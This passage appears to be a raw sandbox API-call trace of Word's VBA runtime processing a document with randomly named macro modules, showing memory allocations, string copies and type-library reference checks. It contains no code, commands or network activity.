0x7a108a0 [0087.064] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x52c2110 [0087.064] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x52c35e0 [0087.064] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x56683a0 [0087.064] CoCreateGuid (in: pguid=0x52c2168 | out: pguid=0x52c2168*(Data1=0x179d8f9f, Data2=0x9e90, Data3=0x4dcd, Data4=([0]=0xad, [1]=0x47, [2]=0xf7, [3]=0x29, [4]=0xdf, [5]=0xb6, [6]=0x87, [7]=0xc2))) returned 0x0 [0087.064] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x170) returned 0x7a07f20 [0087.064] strcpy_s (in: _Dst=0x52c21c8, _DstSize=0xd, _Src="ThisDocument" | out: _Dst="ThisDocument") returned 0x0 [0087.064] strcpy_s (in: _Dst=0x52c21e0, _DstSize=0xa, _Src="PZuISOiIa" | out: _Dst="PZuISOiIa") returned 0x0 [0087.064] strcpy_s (in: _Dst=0x52c21f8, _DstSize=0xa, _Src="wTvKzqFRU" | out: _Dst="wTvKzqFRU") returned 0x0 [0087.064] strcpy_s (in: _Dst=0x52c2210, _DstSize=0xa, _Src="sApJzDAat" | out: _Dst="sApJzDAat") returned 0x0 [0087.064] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x50) returned 0xbd21300 [0087.064] strcpy_s (in: _Dst=0x52c2228, _DstSize=0x8, _Src="Project" | out: _Dst="Project") returned 0x0 [0087.064] IMalloc:Free (This=0x7fefe9e5380, pv=0x7957c40) [0087.064] IMalloc:Free (This=0x7fefe9e5380, pv=0x7959fb0) [0087.064] IMalloc:Free (This=0x7fefe9e5380, pv=0x795a670) [0087.064] IMalloc:Free (This=0x7fefe9e5380, pv=0x7aaea20) [0087.064] IMalloc:Free (This=0x7fefe9e5380, pv=0x7aaee70) [0087.064] RtlLookupFunctionEntry (in: ControlPc=0x7a21f6c, ImageBase=0x3080e0, HistoryTable=0x308100 | out: ImageBase=0x3080e0, HistoryTable=0x308100) returned 0x7a21fb4 [0087.064] RtlLookupFunctionEntry (in: ControlPc=0x7a2240c, ImageBase=0x3080e0, HistoryTable=0x308100 | out: ImageBase=0x3080e0, HistoryTable=0x308100) returned 0x7a2245c [0087.064] RtlLookupFunctionEntry (in: ControlPc=0x7a22194, ImageBase=0x3080e0, HistoryTable=0x308100 | out: ImageBase=0x3080e0, HistoryTable=0x308100) returned 0x7a221e4 [0087.064] RtlLookupFunctionEntry (in: ControlPc=0xbb54a54, ImageBase=0x3080e0, HistoryTable=0x308100 | out: ImageBase=0x3080e0, HistoryTable=0x308100) returned 0xbb54aa4 [0087.064] RtlLookupFunctionEntry (in: ControlPc=0xbb4ff98, ImageBase=0x3080e0, HistoryTable=0x308100 | out: ImageBase=0x3080e0, HistoryTable=0x308100) returned 0xbb4fff8 [0087.065] IMalloc:Free (This=0x7fefe9e5380, pv=0x7aaffb0) [0087.065] IMalloc:Free (This=0x7fefe9e5380, pv=0x7aaf2c0) [0087.065] IMalloc:Free (This=0x7fefe9e5380, pv=0xbc06cd0) [0087.065] IMalloc:Free (This=0x7fefe9e5380, pv=0x7aaf710) [0087.065] IMalloc:Free (This=0x7fefe9e5380, pv=0x7aae330) [0087.065] FreeLibrary (hLibModule=0x7fef0cc0000) returned 1 [0087.065] FreeLibrary (hLibModule=0x7fef0cc0000) returned 1 [0087.065] FreeLibrary (hLibModule=0x7fef0cc0000) returned 1 [0087.065] FreeLibrary (hLibModule=0x7fef0cc0000) returned 1 [0087.065] FreeLibrary (hLibModule=0x7fef0cc0000) returned 1 [0087.065] IMalloc:Free (This=0x7fefe9e5380, pv=0x7972060) [0087.065] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0087.065] IMalloc:Free (This=0x7fefe9e5380, pv=0x781c0e0) [0087.065] IMalloc:Free (This=0x7fefe9e5380, pv=0xbafd4d0) [0087.065] IMalloc:Free (This=0x7fefe9e5380, pv=0x7a07da0) [0087.065] IMalloc:Free (This=0x7fefe9e5380, pv=0x7a0efe0) [0087.071] IMalloc:Free (This=0x7fefe9e5380, pv=0x796d720) [0087.071] IMalloc:Free (This=0x7fefe9e5380, pv=0x7959e90) [0087.071] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x796d720 [0087.071] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x80) returned 0x7959e90 [0087.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0A5bf1ad1d", cchWideChar=11, lpMultiByteStr=0x309080, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0A5bf1ad1d", lpUsedDefaultChar=0x0) returned 11 [0087.071] GetLocalTime (in: lpSystemTime=0x309168 | out: lpSystemTime=0x309168*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x13, wSecond=0x9, wMilliseconds=0x123)) [0087.072] _ultow_s (in: _Value=0x5bf1ad1d, _Buffer=0x7ac9054, _BufferCount=0x9, _Radix=16 | out: _Buffer="5bf1ad1d") returned 0x0 [0087.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0B5bf1ad1d", cchWideChar=11, lpMultiByteStr=0x3090c0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0B5bf1ad1d", lpUsedDefaultChar=0x0) returned 11 [0087.072] GetLocalTime (in: lpSystemTime=0x309440 | out: lpSystemTime=0x309440*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x13, wSecond=0x9, wMilliseconds=0x123)) [0087.072] wcsncpy_s (in: _Destination=0x3090f0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned 0x0 [0087.072] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", cchLength=0x29 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc") returned 0x29 [0087.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc", cchWideChar=42, lpMultiByteStr=0x309020, cbMultiByte=84, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc", lpUsedDefaultChar=0x0) returned 42 [0087.072] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", _String2="*\\CNormal") returned -11 [0087.072] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned 0 [0087.072] wcsncpy_s (in: _Destination=0x309300, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0087.072] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0087.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x309230, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0087.072] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0087.072] wcsncpy_s (in: _Destination=0x3092a0, _SizeInWords=0x108, _Source="*\\Z0;5bf1ad1d", _MaxCount=0x106 | out: _Destination="*\\Z0;5bf1ad1d") returned 0x0 [0087.072] CharLowerBuffW (in: lpsz="*\\Z0;5bf1ad1d", cchLength=0xd | out: lpsz="*\\z0;5bf1ad1d") returned 0xd [0087.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z0;5bf1ad1d", cchWideChar=14, lpMultiByteStr=0x3091d0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z0;5bf1ad1d", lpUsedDefaultChar=0x0) returned 14 [0087.072] _wcsicmp (_String1="*\\Z0;5bf1ad1d", _String2="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 19 [0087.072] wcscpy_s (in: _Destination=0x5342b58, _SizeInWords=0xe, _Source="*\\Z0;5bf1ad1d" | out: _Destination="*\\Z0;5bf1ad1d") returned 0x0 [0087.072] wcsncpy_s (in: _Destination=0x3092e0, _SizeInWords=0x108, _Source="*\\Z0;5bf1ad1d", _MaxCount=0x106 | out: _Destination="*\\Z0;5bf1ad1d") returned 0x0 [0087.072] CharLowerBuffW (in: lpsz="*\\Z0;5bf1ad1d", cchLength=0xd | out: lpsz="*\\z0;5bf1ad1d") returned 0xd [0087.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z0;5bf1ad1d", cchWideChar=14, lpMultiByteStr=0x309210, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z0;5bf1ad1d", lpUsedDefaultChar=0x0) returned 14 [0087.072] wcsncpy_s (in: _Destination=0x3093b0, _SizeInWords=0x108, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _MaxCount=0x106 | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0087.072] CharLowerBuffW (in: lpsz="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchLength=0x90 | out: lpsz="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications") returned 0x90 [0087.072] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x122) returned 0xbf62d80 [0087.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", cchWideChar=145, lpMultiByteStr=0xbf62d80, cbMultiByte=290, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", lpUsedDefaultChar=0x0) returned 145 [0087.072] IMalloc:Free (This=0x7fefe9e5380, pv=0xbf62d80) [0087.072] _wcsicmp (_String1="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0 [0087.072] wcsncpy_s (in: _Destination=0x3092b0, _SizeInWords=0x108, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _MaxCount=0x106 | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0087.072] CharLowerBuffW (in: lpsz="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchLength=0x90 | out: lpsz="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications") returned 0x90 [0087.072] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x122) returned 0xbf62d80 [0087.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", cchWideChar=145, lpMultiByteStr=0xbf62d80, cbMultiByte=290, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", lpUsedDefaultChar=0x0) returned 145 [0087.072] IMalloc:Free (This=0x7fefe9e5380, pv=0xbf62d80) [0087.073] _wcsicmp (_String1="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0 [0087.073] wcsncpy_s (in: _Destination=0x3092b0, _SizeInWords=0x108, _Source="*\\Z0;5bf1ad1d", _MaxCount=0x106 | out: _Destination="*\\Z0;5bf1ad1d") returned 0x0 [0087.073] CharLowerBuffW (in: lpsz="*\\Z0;5bf1ad1d", cchLength=0xd | out: lpsz="*\\z0;5bf1ad1d") returned 0xd [0087.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z0;5bf1ad1d", cchWideChar=14, lpMultiByteStr=0x3091e0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z0;5bf1ad1d", lpUsedDefaultChar=0x0) returned 14 [0087.073] _wcsicmp (_String1="*\\Z0;5bf1ad1d", _String2="*\\Z0;5bf1ad1d") returned 0 [0087.073] wcsncpy_s (in: _Destination=0x3093b0, _SizeInWords=0x108, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0x0 [0087.073] CharLowerBuffW (in: lpsz="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", cchLength=0x8d | out: lpsz="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library") returned 0x8d [0087.073] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11c) returned 0xbf62d80 [0087.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library", cchWideChar=142, lpMultiByteStr=0xbf62d80, cbMultiByte=284, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library", lpUsedDefaultChar=0x0) returned 142 [0087.073] IMalloc:Free (This=0x7fefe9e5380, pv=0xbf62d80) [0087.073] _wcsicmp (_String1="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0 [0087.073] wcsncpy_s (in: _Destination=0x3092b0, _SizeInWords=0x108, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0x0 [0087.073] CharLowerBuffW (in: lpsz="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", cchLength=0x8d | out: lpsz="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library") returned 0x8d [0087.073] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11c) returned 0xbf62d80 [0087.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library", cchWideChar=142, lpMultiByteStr=0xbf62d80, cbMultiByte=284, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library", lpUsedDefaultChar=0x0) returned 142 [0087.073] IMalloc:Free (This=0x7fefe9e5380, pv=0xbf62d80) [0087.073] _wcsicmp (_String1="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0 [0087.073] wcsncpy_s (in: _Destination=0x3092b0, _SizeInWords=0x108, _Source="*\\Z0;5bf1ad1d", _MaxCount=0x106 | out: _Destination="*\\Z0;5bf1ad1d") returned 0x0 [0087.073] CharLowerBuffW (in: lpsz="*\\Z0;5bf1ad1d", cchLength=0xd | out: lpsz="*\\z0;5bf1ad1d") returned 0xd [0087.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z0;5bf1ad1d", cchWideChar=14, lpMultiByteStr=0x3091e0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z0;5bf1ad1d", lpUsedDefaultChar=0x0) returned 14 [0087.073] _wcsicmp (_String1="*\\Z0;5bf1ad1d", _String2="*\\Z0;5bf1ad1d") returned 0 [0087.073] wcsncpy_s (in: _Destination=0x3093b0, _SizeInWords=0x108, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _MaxCount=0x106 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0x0 [0087.073] CharLowerBuffW (in: lpsz="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", cchLength=0x5e | out: lpsz="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation") returned 0x5e [0087.073] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xbe) returned 0x7a917d0 [0087.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", cchWideChar=95, lpMultiByteStr=0x7a917d0, cbMultiByte=190, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", lpUsedDefaultChar=0x0) returned 95 [0087.073] IMalloc:Free (This=0x7fefe9e5380, pv=0x7a917d0) [0087.073] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0 [0087.073] wcsncpy_s (in: _Destination=0x3092b0, _SizeInWords=0x108, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _MaxCount=0x106 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0x0 [0087.073] CharLowerBuffW (in: lpsz="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", cchLength=0x5e | out: lpsz="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation") returned 0x5e [0087.073] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xbe) returned 0x7a917d0 [0087.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", cchWideChar=95, lpMultiByteStr=0x7a917d0, cbMultiByte=190, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", lpUsedDefaultChar=0x0) returned 95 [0087.073] IMalloc:Free (This=0x7fefe9e5380, pv=0x7a917d0) [0087.073] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0 [0087.073] wcsncpy_s (in: _Destination=0x3092b0, _SizeInWords=0x108, _Source="*\\Z0;5bf1ad1d", _MaxCount=0x106 | out: _Destination="*\\Z0;5bf1ad1d") returned 0x0 [0087.073] CharLowerBuffW (in: lpsz="*\\Z0;5bf1ad1d", cchLength=0xd | out: lpsz="*\\z0;5bf1ad1d") returned 0xd [0087.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z0;5bf1ad1d", cchWideChar=14, lpMultiByteStr=0x3091e0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z0;5bf1ad1d", lpUsedDefaultChar=0x0) returned 14 [0087.073] _wcsicmp (_String1="*\\Z0;5bf1ad1d", _String2="*\\Z0;5bf1ad1d") returned 0 [0087.073] wcsncpy_s (in: _Destination=0x3093b0, _SizeInWords=0x108, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0087.073] CharLowerBuffW (in: lpsz="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", cchLength=0x94 | out: lpsz="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library") returned 0x94 [0087.073] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x12a) returned 0x784e0d0 [0087.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", cchWideChar=149, lpMultiByteStr=0x784e0d0, cbMultiByte=298, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", lpUsedDefaultChar=0x0) returned 149 [0087.075] IMalloc:Free (This=0x7fefe9e5380, pv=0x784e0d0) [0087.075] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\Z0;5bf1ad1d") returned -19 [0087.075] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0 [0087.075] wcsncpy_s (in: _Destination=0x3092b0, _SizeInWords=0x108, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0087.075] CharLowerBuffW (in: lpsz="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", cchLength=0x94 | out: lpsz="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library") returned 0x94 [0087.075] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x12a) returned 0x784e0d0 [0087.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", cchWideChar=149, lpMultiByteStr=0x784e0d0, cbMultiByte=298, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", lpUsedDefaultChar=0x0) returned 149 [0087.075] IMalloc:Free (This=0x7fefe9e5380, pv=0x784e0d0) [0087.075] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\Z0;5bf1ad1d") returned -19 [0087.075] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0 [0087.075] wcsncpy_s (in: _Destination=0x3092b0, _SizeInWords=0x108, _Source="*\\Z0;5bf1ad1d", _MaxCount=0x106 | out: _Destination="*\\Z0;5bf1ad1d") returned 0x0 [0087.075] CharLowerBuffW (in: lpsz="*\\Z0;5bf1ad1d", cchLength=0xd | out: lpsz="*\\z0;5bf1ad1d") returned 0xd [0087.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z0;5bf1ad1d", cchWideChar=14, lpMultiByteStr=0x3091e0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z0;5bf1ad1d", lpUsedDefaultChar=0x0) returned 14 [0087.075] _wcsicmp (_String1="*\\Z0;5bf1ad1d", _String2="*\\Z0;5bf1ad1d") returned 0 [0087.075] wcscpy_s (in: _Destination=0x794f940, _SizeInWords=0x108, _Source="*\\Z0;5bf1ad1d" | out: _Destination="*\\Z0;5bf1ad1d") returned 